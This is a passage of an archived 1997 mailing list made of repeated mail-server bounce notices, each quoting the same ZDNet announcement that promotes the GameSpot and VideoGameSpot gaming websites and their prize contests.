>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST)
Subject: Failed mail
Message-ID: <ja219865.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219865; Tue, 25 Feb 1997 17:09:59 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:59 -0500
>Message-Id: <22095905045872@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:09 -0800 (PST)
Subject: Failed mail
Message-ID: <ra219873.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219873; Tue, 25 Feb 1997 17:10:10 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:10 -0500
>Message-Id: <22101080745882@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:13 -0800 (PST)
Subject: Failed mail
Message-ID: <qa219872.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219872; Tue, 25 Feb 1997 17:10:09 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:09 -0500
>Message-Id: <22100948545881@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST)
Subject: Failed mail
Message-ID: <na219869.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219869; Tue, 25 Feb 1997 17:10:05 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:05 -0500
>Message-Id: <22100527945878@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:30 -0800 (PST)
Subject: Failed mail
Message-ID: <oa219870.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219870; Tue, 25 Feb 1997 17:10:06 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:06 -0500
>Message-Id: <22100656145879@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:12:35 -0800 (PST)
Subject: Failed mail
Message-ID: <pa219871.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219871; Tue, 25 Feb 1997 17:10:08 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:08 -0500
>Message-Id: <22100820345880@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST)
Subject: Failed mail
Message-ID: <wa219878.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219878; Tue, 25 Feb 1997 17:10:17 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:17 -0500
>Message-Id: <22101743645887@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST)
Subject: Failed mail
Message-ID: <va219877.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
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Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219877; Tue, 25 Feb 1997 17:10:16 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:16 -0500
>Message-Id: <22101619545886@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:29 -0800 (PST)
Subject: Failed mail
Message-ID: <ua219876.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219876; Tue, 25 Feb 1997 17:10:14 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:14 -0500
>Message-Id: <22101493345885@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST)
Subject: Failed mail
Message-ID: <ta219875.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219875; Tue, 25 Feb 1997 17:10:13 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:13 -0500
>Message-Id: <22101345145884@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST)
Subject: Failed mail
Message-ID: <ya219880.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219880; Tue, 25 Feb 1997 17:10:20 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:20 -0500
>Message-Id: <22102016045891@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:10:53 -0800 (PST)
Subject: Failed mail
Message-ID: <za219881.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219881; Tue, 25 Feb 1997 17:10:21 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:21 -0500
>Message-Id: <22102145245892@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:56 -0800 (PST)
Subject: Failed mail
Message-ID: <xa219879.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219879; Tue, 25 Feb 1997 17:10:18 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:18 -0500
>Message-Id: <22101881845890@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:53 -0800 (PST)
Subject: Failed mail
Message-ID: <sa219874.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219874; Tue, 25 Feb 1997 17:10:12 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:12 -0500
>Message-Id: <22101209945883@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
